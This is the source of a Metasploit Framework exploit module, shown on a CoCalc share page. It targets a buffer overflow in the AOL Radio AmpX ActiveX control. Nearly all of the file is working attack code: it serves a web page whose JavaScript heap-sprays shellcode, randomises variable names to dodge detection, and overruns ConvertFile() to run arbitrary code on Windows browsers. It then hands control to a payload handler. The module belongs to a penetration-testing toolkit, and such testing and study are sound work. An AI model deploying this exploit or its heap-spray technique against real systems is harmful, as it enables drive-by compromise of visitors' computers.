CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/aol_ampx_convertfile.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'AOL Radio AmpX ActiveX Control ConvertFile() Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack-based buffer overflow in AOL IWinAmpActiveX
16
class (AmpX.dll) version 2.4.0.6 installed via AOL Radio website.
17
By setting an overly long value to 'ConvertFile()', an attacker can overrun
18
a buffer and execute arbitrary code.
19
},
20
'License' => MSF_LICENSE,
21
'Author' =>
22
[
23
'rgod <rgod[at]autistici.org>', # Original exploit [see References]
24
'Trancer <mtrancer[at]gmail.com>' # Metasploit implementation
25
],
26
'References' =>
27
[
28
[ 'OSVDB', '54706' ],
29
[ 'BID', '35028' ],
30
[ 'EDB', '8733' ],
31
],
32
'DefaultOptions' =>
33
{
34
'EXITFUNC' => 'process',
35
},
36
'Payload' =>
37
{
38
'Space' => 1024,
39
'BadChars' => "\x00\x09\x0a\x0d'\\",
40
'StackAdjustment' => -3500,
41
},
42
'Platform' => 'win',
43
'Targets' =>
44
[
45
[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 250, 'Ret' => 0x0C0C0C0C } ]
46
],
47
'DisclosureDate' => '2009-05-19',
48
'DefaultTarget' => 0))
49
end
50
51
def autofilter
52
false
53
end
54
55
def check_dependencies
56
use_zlib
57
end
58
59
def on_request_uri(cli, request)
60
# Re-generate the payload
61
return if ((p = regenerate_payload(cli)) == nil)
62
63
# Encode the shellcode
64
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
65
66
# Setup exploit buffers
67
nops = Rex::Text.to_unescape([target.ret].pack('V'))
68
ret = Rex::Text.uri_encode([target.ret].pack('L'))
69
blocksize = 0x40000
70
fillto = 500
71
offset = target['Offset']
72
73
# Randomize the javascript variable names
74
ampx = rand_text_alpha(rand(100) + 1)
75
j_shellcode = rand_text_alpha(rand(100) + 1)
76
j_nops = rand_text_alpha(rand(100) + 1)
77
j_headersize = rand_text_alpha(rand(100) + 1)
78
j_slackspace = rand_text_alpha(rand(100) + 1)
79
j_fillblock = rand_text_alpha(rand(100) + 1)
80
j_block = rand_text_alpha(rand(100) + 1)
81
j_memory = rand_text_alpha(rand(100) + 1)
82
j_counter = rand_text_alpha(rand(30) + 2)
83
j_ret = rand_text_alpha(rand(100) + 1)
84
j_eax = rand_text_alpha(rand(100) + 1)
85
j_bof = rand_text_alpha(rand(100) + 1)
86
randnop = rand_text_alpha(rand(100) + 1)
87
88
# Build out the message
89
content = %Q|
90
<html>
91
<OBJECT classid='clsid:FE0BD779-44EE-4A4B-AA2E-743C63F2E5E6' id='#{ampx}'></OBJECT>
92
<script language='javascript'>
93
#{j_shellcode}=unescape('#{shellcode}');
94
var #{randnop} = "#{nops}";
95
#{j_nops}=unescape(#{randnop});
96
#{j_headersize}=20;
97
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
98
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
99
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
100
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
101
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
102
#{j_memory}=new Array();
103
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
104
#{j_eax}='';
105
for(#{j_counter}=0;#{j_counter}<=350;#{j_counter}++)#{j_eax}+=unescape('%FF%FF%FF%FF');
106
#{j_ret}='';
107
for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
108
#{j_bof}=#{j_eax}+#{j_ret};
109
#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
110
#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
111
#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
112
#{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);
113
</script>
114
</html>
115
|
116
117
print_status("Sending #{self.name}")
118
119
# Transmit the response to the client
120
send_response_html(cli, content)
121
122
# Handle the payload
123
handler(cli)
124
end
125
end
126
127